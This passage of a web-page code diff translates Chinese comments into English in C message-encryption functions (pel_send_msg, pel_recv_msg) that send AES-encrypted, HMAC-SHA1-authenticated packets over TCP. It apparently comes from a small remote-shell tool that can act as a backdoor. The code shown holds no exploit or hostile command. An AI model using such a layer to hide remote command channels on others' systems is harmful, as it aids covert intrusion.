for (i = 0; i < blk_len; i += 16) {
for (j = 0; j < 16; j++) {
@ -247,7 +247,7 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
memcpy(send_ctx.LCT, &buffer[i], 16);
}
/* 计算密文的 HMAC-SHA1 */
/* compute the HMAC-SHA1 of the ciphertext */
buffer[blk_len] = (send_ctx.p_cntr << 24) & 0xFF;
buffer[blk_len + 1] = (send_ctx.p_cntr << 16) & 0xFF;
@ -264,11 +264,11 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
sha1_update(&sha1_ctx, digest, 20);
sha1_finish(&sha1_ctx, &buffer[blk_len]);
/* 增加数据包计数器 */
/* increment the packet counter */
send_ctx.p_cntr++;
/* 传输密文和消息认证码 */
/* transmit ciphertext and message authentication code */
ret = pel_send_all(sockfd, buffer, blk_len + 20, 0);
@ -280,7 +280,7 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
return (PEL_SUCCESS);
}
/* 接收并解密消息 */
/* receive and decrypt a message */
int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
{
@ -290,14 +290,14 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
struct sha1_context sha1_ctx;
int i, j, ret, blk_len;
/* 接收第一个加密块 */
/* receive the first encrypted block */
ret = pel_recv_all(sockfd, buffer, 16, 0);
if (ret != PEL_SUCCESS)
return (PEL_FAILURE);
/* 解密该块并提取消息长度 */
/* decrypt this block and extract the message length */
memcpy(temp, buffer, 16);
@ -309,11 +309,11 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
*length = (((int)buffer[0]) << 8) + (int)buffer[1];
/* 恢复密文 */
/* restore the ciphertext */
memcpy(buffer, temp, 16);
/* 验证消息长度 */
/* verify the message length */
if (*length <= 0 || *length > BUFSIZE) {
pel_errno = PEL_BAD_MSG_LENGTH;
@ -321,7 +321,7 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
return (PEL_FAILURE);
}
/* 向上取整到 AES 块长度 (16 字节) */
/* round up to AES block length (16 bytes) */
blk_len = 2 + *length;
@ -329,7 +329,7 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
blk_len += 16 - (blk_len & 0x0F);
}
/* 接收剩余的密文和 mac */
/* receive the remaining ciphertext and the mac */
ret = pel_recv_all(sockfd, &buffer[16], blk_len - 16 + 20, 0);
@ -338,7 +338,7 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
memcpy(hmac, &buffer[blk_len], 20);
/* 验证密文完整性 */
/* verify the ciphertext integrity */
buffer[blk_len] = (recv_ctx.p_cntr << 24) & 0xFF;
buffer[blk_len + 1] = (recv_ctx.p_cntr << 16) & 0xFF;
@ -361,11 +361,11 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
return (PEL_FAILURE);
}
/* 增加数据包计数器 */
/* increment the packet counter */
recv_ctx.p_cntr++;
/* 最后,解密并复制消息 */
/* finally, decrypt and copy the message */
for (i = 0; i < blk_len; i += 16) {
memcpy(temp, &buffer[i], 16);
@ -386,7 +386,7 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
return (PEL_SUCCESS);
}
/* 发送/接收包装器以处理分段的 TCP 数据包 */
/* send/recv wrappers to handle fragmented TCP packets */
int pel_send_all(int s, void *buf, size_t len, int flags)
{

Loading…
Cancel
Save